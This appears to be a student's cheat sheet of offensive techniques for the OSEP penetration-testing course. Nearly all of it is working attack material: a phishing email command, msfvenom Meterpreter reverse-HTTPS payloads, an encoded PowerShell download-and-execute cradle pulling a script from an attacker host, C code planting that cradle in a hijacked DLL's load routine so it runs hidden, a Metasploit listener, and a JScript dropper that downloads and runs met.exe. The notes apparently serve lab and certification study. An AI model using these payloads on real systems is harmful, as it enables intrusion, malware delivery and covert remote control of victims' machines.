OSEP · Chad Duffey

Tunnel RDP session via the Kali box

Do this from the mac so that we can have a single vpn session open (because offsec tends to drop duplicates). That way we can have the kali box catch any shells while also being able to RDP from the mac or whichever machine. (just RDP to 127.0.0.1:13389)

ssh -L 13389:192.168.214.203:3389 kali@192.168.1.184

Phishing with calendar invites

sendEmail -s 192.168.1.10 -t offsec@corp1.com -f attacker@corp1.com -u "test"  -o message-content-type=html -o message-file=./template.html -a iCalendar.ics

PowerShell Payload in .dll hijack

Generate the powershell script:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP LPORT=443 -f ps1 -o shell.ps1

Host it
```
python3 -m http.server 80
```

Encode We’d want something like:

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')"

But need to encode it:

echo -n "powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')\"" | iconv -t UTF-16LE | base64 -w 0

Override the DLL_PROCESS_ATTACH export:

case DLL_PROCESS_ATTACH:
{
 STARTUPINFOA si = { 0 };
 PROCESS_INFORMATION pi = { 0 };
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESHOWWINDOW;
 si.wShowWindow = SW_HIDE;

 CreateProcessA(
     NULL,
     (LPSTR)"powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand <PASTE_BASE64_STRING_HERE>",
     NULL, NULL, FALSE,
     CREATE_NO_WINDOW,
     NULL, NULL,
     &si, &pi
 );
 break;
}

Build/Compile

x86_64-w64-mingw32-gcc -shared -o hijack.dll your_source.c

Listener

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST YOUR_IP
set LPORT 443
set ExitOnSession false
exploit -j

Javscript

Create 64-bit Meterpreter reverse HTTPS executable (e.g met.exe); save it to Kali web root. Set up a Metasploit multi/handler to catch the session

var url = "http://192.168.x.x/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<your_ip> LPORT=<your_port> -f exe -o met.exe

cd /path/to/met.exe
python3 -m http.server 80